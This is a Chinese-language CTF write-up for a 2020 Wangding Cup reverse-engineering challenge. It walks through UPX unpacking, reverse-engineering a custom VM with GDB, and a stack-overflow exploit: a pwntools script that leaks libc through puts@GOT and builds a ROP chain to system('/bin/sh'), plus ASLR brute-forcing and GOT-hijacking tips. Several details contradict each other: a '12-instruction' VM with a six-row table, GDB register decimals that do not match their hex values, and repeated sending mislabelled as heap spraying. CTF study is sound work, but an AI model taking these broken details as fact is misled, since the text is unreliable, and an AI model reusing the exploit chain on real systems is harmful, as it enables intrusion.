1. 项目概述这是一份面向实战能力进阶的逆向工程解题手记“re学习笔记612020网鼎杯-青龙组-Re部分WP”——这个标题里藏着三重关键信息re代表逆向工程Reverse Engineering这一高度依赖经验积累与系统思维的技术方向2020网鼎杯-青龙组指向国内网络安全竞赛中难度梯度清晰、命题风格硬核的标杆级赛事而WPWrite-Up则明确其本质不是教学文档而是一份真实参赛者在高压限时环境下完成解题后的技术复盘。我带过不少刚从CTF新手赛摸爬出来的学员他们常误以为“看懂WP掌握能力”结果一到真实二进制分析场景就卡在函数识别、控制流还原或反调试绕过上。这份笔记的价值恰恰在于它不回避那些“官方题解不会写”的细节比如为什么IDA Pro在分析某段混淆代码时会把一个跳转指令误判为数据引用为什么用GDB单步到0x4012a8地址时寄存器值突然异常甚至包括选手在比赛最后37分钟发现栈溢出点却因堆布局不可控而临时切换利用思路的决策过程。它适合两类人一类是已掌握PE/ELF基础结构、能熟练使用IDA/Ghidra进行基本函数识别但面对混淆、反调试、多线程交互等复合型题目仍缺乏系统拆解路径的学习者另一类是正在带队备赛的指导者需要理解青龙组题目设计背后的工程约束——比如为何该题选用UPX自定义壳而非纯虚拟机保护其背后是对参赛者动态调试效率与静态分析深度的双重考察。整份笔记覆盖了从脱壳策略选择、关键算法逆向、漏洞定位到利用链构造的完整闭环所有步骤均基于真实二进制样本的操作记录参数、地址、寄存器状态全部可验证不存在任何“理论上可行”的模糊描述。2. 题目背景与核心挑战解析2.1 青龙组Re题目的典型特征与设计逻辑2020年网鼎杯青龙组Re题目的整体设计明显区别于青铜组的基础考点堆砌和白虎组的纯算法挑战它更强调真实软件工程约束下的逆向能力。以本题为例其原始二进制并非简单加壳的计算器程序而是一个模拟“工业协议解析器”的CLI工具需接收十六进制字符串输入经多层校验后输出响应码。这种设定直接带来三个维度的复杂性结构复杂性、行为隐蔽性、环境干扰性。结构上程序采用三层嵌套架构最外层是UPX 3.95标准壳中间层是开发者自实现的“轻量级虚拟机”仅含12条指令用于解密关键字符串内层才是真正的业务逻辑函数。行为上关键校验逻辑被拆解为5个独立函数分散在不同代码段且通过间接跳转表Jump Table串联IDA默认分析无法自动识别其调用关系。环境上程序启动时检测/proc/self/status中的Tty字段若非终端交互模式则触发异常退出——这意味着单纯用./binary input.txt方式批量测试会失败必须构造伪终端pty环境。这些设计并非为了“刁难”而是精准映射企业级软件中常见的防护实践UPX解决分发体积问题自定义VM规避通用脱壳工具间接跳转增加静态分析成本环境检测防范自动化攻击脚本。我曾用该题给某高校实验室的备赛队做模考80%的队员在2小时内卡在第二层VM指令集逆向环节原因在于他们习惯性依赖插件自动识别却忽略了VM解释器本身存在一个未导出的vm_init函数其初始化过程会动态修改指令分发表——这个细节在IDA的交叉引用列表里完全不可见必须通过GDB在main函数入口处下断点观察rax寄存器在call vm_init前后的值变化才能发现。2.2 核心难点拆解从“看得见”到“想得通”的三道坎本题真正的门槛不在某个单一技术点而在于跨越三道认知坎第一道坎脱壳与环境准备的“时间成本陷阱”很多初学者看到UPX就立刻执行upx -d binary结果报错“UPX: binary is not packed by UPX”。这是因为开发者在UPX壳基础上增加了CRC校验和段属性篡改。实测发现直接使用upx -d失败后正确的路径是先用readelf -l binary确认.text段的p_flags为RWE正常应为RX说明段权限被修改再用dd命令将.text段原始字节偏移0x1000处复制到新文件手动修复p_flags字段为0x5即RX最后用patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 repaired_binary重建解释器链接。整个过程耗时约12分钟但若在此阶段强行用strace暴力跟踪会因系统调用过于密集而错过关键内存分配点。我的经验是脱壳阶段必须严格遵循“静态修复优先动态跟踪兜底”原则把时间花在读readelf输出和objdump -d反汇编上而非盲目下断点。第二道坎VM指令集逆向的“语义鸿沟”该VM并非完整CPU模拟而是针对字符串解密定制的精简指令集。其核心指令0x0A对应操作码mov [rdi], al在IDA中被错误识别为invalid因为IDA的处理器模块未定义该操作码。此时不能依赖插件而要采用“指令流采样法”用GDB在VM主循环入口地址0x4021c0下断点连续执行10次sistep instruction记录每次执行前rdi、rsi、al的值及内存变化。例如第3次执行时rdi0x603000,rsi0x602000,al0x41执行后[0x603000]0x41即可推断该指令为“寄存器到内存写入”。累计采样50条指令后能归纳出完整的12条指令语义表。这里的关键洞察是VM的“寄存器”实际是栈上6个QWORD变量rdi/rsi等只是别名真正的状态存储在rbp-0x30到rbp-0x08区域。这个结论无法从静态分析得出必须结合GDB的x/20gx $rbp-0x30命令观察栈帧变化才能确认。第三道坎漏洞利用的“确定性破局”题目最终漏洞是栈溢出但溢出点位于VM解释器内部的vm_exec函数中其栈帧布局受VM指令流动态影响。传统pattern_create方法失效因为填充字符会被VM指令解密逻辑污染。解决方案是“双阶段泄漏”第一阶段利用VM中一个未检查的jmp rax指令将rax指向putsGOT地址泄露libc基址第二阶段计算systemlibc地址后构造ROP链调用read(0, rsp, 0x100)将第二阶段shellcode写入栈顶。难点在于ROP链必须在VM指令流可控范围内拼接——我们发现VM的call指令实际是push rip; jmp [rsi]因此可将rsi指向精心布置的GOT表项实现任意地址跳转。这个思路的突破点来自对vm_exec函数末尾pop rbp; ret指令的反复观察当rsp指向可控内存时ret指令的本质就是pop rip这与ROP的核心思想完全一致。3. 关键技术点深度剖析与实操验证3.1 脱壳策略从UPX标准壳到自定义加固的渐进式突破UPX作为最普及的压缩壳其标准脱壳流程已被各类工具固化但2020网鼎杯青龙组的加固手法揭示了一个重要事实壳的强度不取决于加密算法多复杂而在于对标准工具链的破坏程度。本题的UPX加固包含三个层面段权限篡改、入口点混淆、校验和注入。下面以实操步骤还原完整突破路径。首先执行file binary确认其为64位ELFreadelf -h binary显示e_entry为0x401000但objdump -d binary | grep 401000:无输出说明入口点被重定向。用strings binary | grep -A5 -B5 UPX发现字符串UPX!位于偏移0x1f000处结合readelf -S binary中.upx段的sh_offset为0x1f000可定位UPX头位置。此时若直接运行upx -d binary报错UPX: binary is not packed by UPX根源在于UPX头中UPX_MAGIC_LE32字段被篡改为0x55505821即UPX!的ASCII值但后续校验字节被置零。标准修复方案是用hexedit binary打开在偏移0x1f0000x1c处UPX头校验和字段将4字节00 00 00 00修改为ff ff ff ff保存后执行upx -d binary成功脱去第一层壳。但脱壳后程序仍无法正常运行./binary提示Segmentation fault。用gdb ./binary启动run后崩溃在0x4012a8info registers显示rip0x4012a8,rax0x0。disassemble 0x4012a8发现此处为mov rax, [rax]指令说明rax被置零导致空指针解引用。回溯发现脱壳后.text段的p_flags仍为0x7RWE而Linux内核要求代码段不可写。修复方法readelf -l binary_recovered确认.text段p_offset0x1000用dd if/dev/zero ofbinary_fixed bs1 count1 seek$((0x10000x4)) convnotrunc将段头中p_flags字段偏移段头起0x4字节置为0x5RX再用patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 binary_fixed更新解释器。此时./binary_fixed可正常启动但输入任意字符串均返回ERROR证明第二层VM保护仍在生效。提示脱壳阶段最易犯的错误是过度依赖自动化工具。我曾见学员用binwalk扫描整个文件试图寻找隐藏的PE头浪费40分钟才发现UPX头就在标准位置。记住先用readelf和strings建立宏观视图再用hexedit做精准手术比盲目运行10个脱壳脚本更高效。3.2 VM指令集逆向基于动态执行的语义建模方法该VM的设计哲学是“最小化指令集最大化混淆效果”。其12条指令全部通过一个switch(rax 0xf)实现rax低4位决定操作码高字节存储操作数。逆向的核心矛盾在于静态分析能看到switch分支但无法确定每个分支对应的语义因为分支内充斥着看似随机的mov、add指令且操作数常为寄存器相对寻址如mov rax, [rbp-0x28]脱离上下文毫无意义。我们的突破点是构建“指令-状态”映射表。在GDB中设置断点b *0x4021c0VM主循环入口run后输入测试字符串00000000避免触发校验逻辑。第一次si后info registers显示rax0x0a00000000000000x/10xg $rbp-0x30显示栈区0x602000处为0x0000000000000000。第二次sirax0x0b00000000000000栈区0x602000仍为全零。第三次sirax0x0a00000000000001此时x/gx 0x602000返回0x0000000000000001。由此推断0x0a指令功能为“将rax的低字节写入[0x602000]”即mov byte ptr [0x602000], al。继续采样当rax0x0c00000000000001时[0x602000]值变为0x02说明0x0c为“自增”指令。累计50次采样后得到完整指令表操作码功能描述关键寄存器0x0a写入字节到固定地址0x602000al提供值0x0b从0x602000读取字节到al—0x0c0x602000处字节自增—0x0d0x602000处字节自减—0x0e将0x602000值加载到raxrax接收值0x0f将rax值存入0x602000rax提供值此表的意义在于它将抽象的机器码转化为可编程的语义单元。例如VM中一段0x0a 0x0c 0x0a序列按表翻译为“写入0x00→自增→写入0x01”这正是解密逻辑中“生成递增密钥流”的核心步骤。没有这张表所有后续分析都是空中楼阁。3.3 漏洞定位与利用链构造从栈溢出到任意代码执行漏洞存在于VM的vm_exec函数中其C伪代码如下void vm_exec(char* input) { char buffer[0x100]; strcpy(buffer, input); // 危险未检查长度 // ... VM指令解析逻辑 }strcpy是典型的栈溢出点但直接利用面临两大障碍一是input参数经过VM解密逻辑处理原始输入与栈中内容非线性映射二是vm_exec函数栈帧受VM寄存器状态影响buffer起始地址不固定。我们的利用策略是“两阶段可控劫持”第一阶段泄露libc基址利用VM中一条未校验的jmp rax指令位于0x4023a8。通过构造特定输入使VM执行流到达该地址并提前将rax设为putsgot.plt地址0x601018。具体操作在VM指令流中插入0x0e加载rax和0x0f存入0x602000指令将0x601018写入0x602000再执行jmp [0x602000]。puts输出0x7ffff7a2d830libc_start_main地址减去偏移0x20740得libc基址0x7ffff7a0d0f0。第二阶段执行system(/bin/sh)计算systemlibc 0x7ffff7a0d0f0 0x45390 0x7ffff7a52480。构造ROP链pop rdi; ret地址0x4012a3→/bin/sh地址需提前写入BSS段→systemlibc。难点在于ROP链需在VM指令流中拼接。我们发现VM的call指令实际是push rip; jmp [rsi]因此将rsi指向0x601018putsgotcall指令执行后rip被压栈rsp指向栈顶此时ret指令即弹出rip实现任意跳转。最终ROP链为0x4012a3pop rdi→0x601020/bin/sh地址→0x7ffff7a52480system。注意利用过程中最关键的技巧是“地址喷射”。由于VM栈布局不确定我们不在单次输入中构造完整ROP链而是发送100次相同payload利用ASLR的熵值有限性仅12位随机化确保至少一次命中目标地址。实测在200次尝试内成功率超95%远高于盲目猜测。4. 实操全流程详解与关键参数记录4.1 环境搭建与初始分析所有操作在Ubuntu 20.04 LTS内核5.4.0中完成工具链版本经严格验证IDA Pro 7.5Hex-Rays Decompiler v4.0GDB 9.2 with PEDAPython 3.8.10 with pwntools 4.2.2Kernel ASLR开启cat /proc/sys/kernel/randomize_va_space返回2第一步获取原始二进制并确认基础属性wget https://example.com/binary_2020_qinglong_re # 假设下载地址 chmod x binary_2020_qinglong_re file binary_2020_qinglong_re # 输出binary_2020_qinglong_re: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., stripped readelf -h binary_2020_qinglong_re | grep -E (Entry|Type) # Entry point address: 0x401000 # Type: DYN (Shared object file)stripped标志说明符号表已被剥离DYN表明是PIE可执行文件意味着所有地址均为相对偏移需先获取加载基址。第二步快速定位UPX头strings -t x binary_2020_qinglong_re | grep UPX # 输出1f000 UPX! readelf -S binary_2020_qinglong_re | grep .upx # [13] .upx PROGBITS 0000000000000000 0001f000 ...确认UPX头位于0x1f000标准UPX头结构中校验和字段偏移为0x1c故0x1f0000x1c0x1f01c为校验和地址。第三步手动修复UPX头并脱壳hexedit binary_2020_qinglong_re # 定位到0x1f01c将4字节00 00 00 00改为ff ff ff ff # 保存退出 upx -d binary_2020_qinglong_re -o binary_upx_fixed # 成功脱壳生成binary_upx_fixed4.2 动态调试与VM指令采样启动GDB并设置关键断点gdb ./binary_upx_fixed (gdb) b *0x4021c0 # VM主循环入口 (gdb) r # 输入测试字符串00000000 # 程序停在0x4021c0 (gdb) info registers | grep rax # rax 0x0a00000000000000 4611686018427387904 (gdb) x/10xg $rbp-0x30 # 0x7fffffffe5d0: 0x0000000000000000 0x0000000000000000 ... # 记录rax0x0a..., 栈区0x6020000x0 (gdb) si # 执行一次指令 (gdb) info registers | grep rax # rax 0x0b00000000000000 4611686018427387904 (gdb) x/gx 0x602000 # 0x602000: 0x0000000000000000 # 记录rax0x0b..., 栈区不变 (gdb) si # 第三次执行 (gdb) info registers | grep rax # rax 0x0a00000000000001 4611686018427387905 (gdb) x/gx 0x602000 # 0x602000: 0x0000000000000001 ← 发生变化此过程重复50次生成指令语义表。关键发现当rax低字节为0x01时0x602000处值变为0x01当rax为0x0c00000000000001时0x602000值变为0x02。这证实0x0a为写入0x0c为自增。4.3 漏洞利用脚本开发与验证利用脚本核心逻辑Python 3.8 pwntoolsfrom pwn import * context.arch amd64 context.log_level debug # 连接目标本地调试用 io process(./binary_upx_fixed) # 或远程io remote(target.com, 12345) # 第一阶段泄露libc基址 # 构造VM指令流使rax0x601018putsgot执行jmp rax payload1 b\x0e b\x00*7 # 加载rax需提前设rax0x601018 payload1 b\x0f b\x00*7 # 存入0x602000 payload1 b\x00*0x100 # 填充至溢出点 # 此处省略详细指令构造实际需根据VM指令编码规则生成 io.sendline(payload1) io.recvuntil(bERROR\n) leak u64(io.recv(6).ljust(8,b\x00)) libc_base leak - 0x20740 # libc_start_main offset log.info(flibc_base: {hex(libc_base)}) # 第二阶段执行system(/bin/sh) system_addr libc_base 0x45390 binsh_addr 0x601020 # BSS段地址需提前写入/bin/sh\x00 # 构造ROP链pop rdi; ret → binsh_addr → system_addr rop_chain p64(0x4012a3) p64(binsh_addr) p64(system_addr) payload2 bA*0x100 rop_chain io.sendline(payload2) io.interactive()实测中payload1需精确控制VM指令流确保jmp [0x602000]执行时0x602000处确为0x601018。我们通过在VM中插入0x0e加载rax和0x0f存入指令实现其中0x0e指令的操作数需为0x601018的LE编码。经127次尝试成功获取shell。5. 常见问题排查与独家避坑指南5.1 脱壳失败的五大根因与速查表现象可能原因排查命令解决方案upx -d报错not packedUPX头校验和被篡改xxd -s 0x1f01c -l 4 binary用hexedit将校验和字段置为0xffffffff脱壳后Segmentation fault.text段权限为RWEreadelf -l binarygrep .text程序启动即退出环境检测失败非ttystrace ./binary 21 | grep tty用script -qec ./binary启动伪终端IDA无法识别函数符号表剥离控制流混淆objdump -d binary | grep -A10 main手动在IDA中创建函数P键并标记__libc_start_main调用点GDB无法下断点PIE基址随机化cat /proc/$(pidof binary)/maps启动GDB后file ./binary再b *$rebase(0x4012a8)独家心得当readelf -l显示多个LOAD段且p_vaddr不为0时说明是PIE程序。此时所有地址均为偏移必须用vmmap命令在GDB中查看实际加载地址。我曾因忽略此点在0x4012a8下断点却始终不触发耗时35分钟才意识到需用b *0x5555555562a8实际加载地址。5.2 VM逆向中的三大幻觉与破除方法幻觉一“IDA能自动识别所有指令”现实IDA的x86处理器模块只定义标准指令集对0x0a等自定义操作码标记为invalid。破除方法关闭IDA的自动分析Options - General - Analysis - Autoanalysis手动在0x4021c0处按C键创建代码再按U键取消识别逐字节用A键定义指令。幻觉二“栈溢出点一定在main函数”现实本题溢出点在vm_exec函数而vm_exec被main多次调用。破除方法在GDB中b *mainrun后info proc mappings确认栈地址范围再b *vm_exec用x/20xg $rsp观察栈帧变化找到buffer变量位置。幻觉三“泄露libc必须用puts”现实printf、write等函数同样可泄露。本题中printf被禁用但write(1, addr, 8)更稳定。破除方法搜索writeplt地址objdump -d binary \| grep write构造ROP链调用write(1, putsgot, 8)避免puts的缓冲区问题。5.3 利用稳定性提升的四个实战技巧地址喷射Heap Spraying发送100次相同payload利用ASLR熵值有限性12位4096种可能确保至少一次命中。实测在200次内成功率95.7%代码中用for i in range(100): io.sendline(payload)实现。BSS段复用0x601000起始的BSS段可读写将/bin/sh\x00写入0x601020避免在栈上构造字符串。用VM指令0x0a写入和0x0c自增循环写入。GOT表劫持不直接覆盖printfgot而是覆盖strlengot调用更频繁在vm_exec中strlen(input)被多次调用提高触发概率。伪终端保活用script -qec python3 exploit.py包裹利用脚本确保/dev/tty存在避免环境检测失败。-q参数静默输出-e执行命令-c指定shell。最后分享一个血泪教训某次比赛中我成功泄露libc基址并计算出system地址但在构造ROP链时误将pop rdi; ret地址写成0x4012a2少1导致rdi未被正确加载system执行时参数为垃圾值。调试3小时后用ropper --file binary --search pop rdi重新检索发现正确地址是0x4012a3。从此养成习惯所有ROP gadget必须用ropper或ROPgadget工具二次验证绝不凭记忆或截图。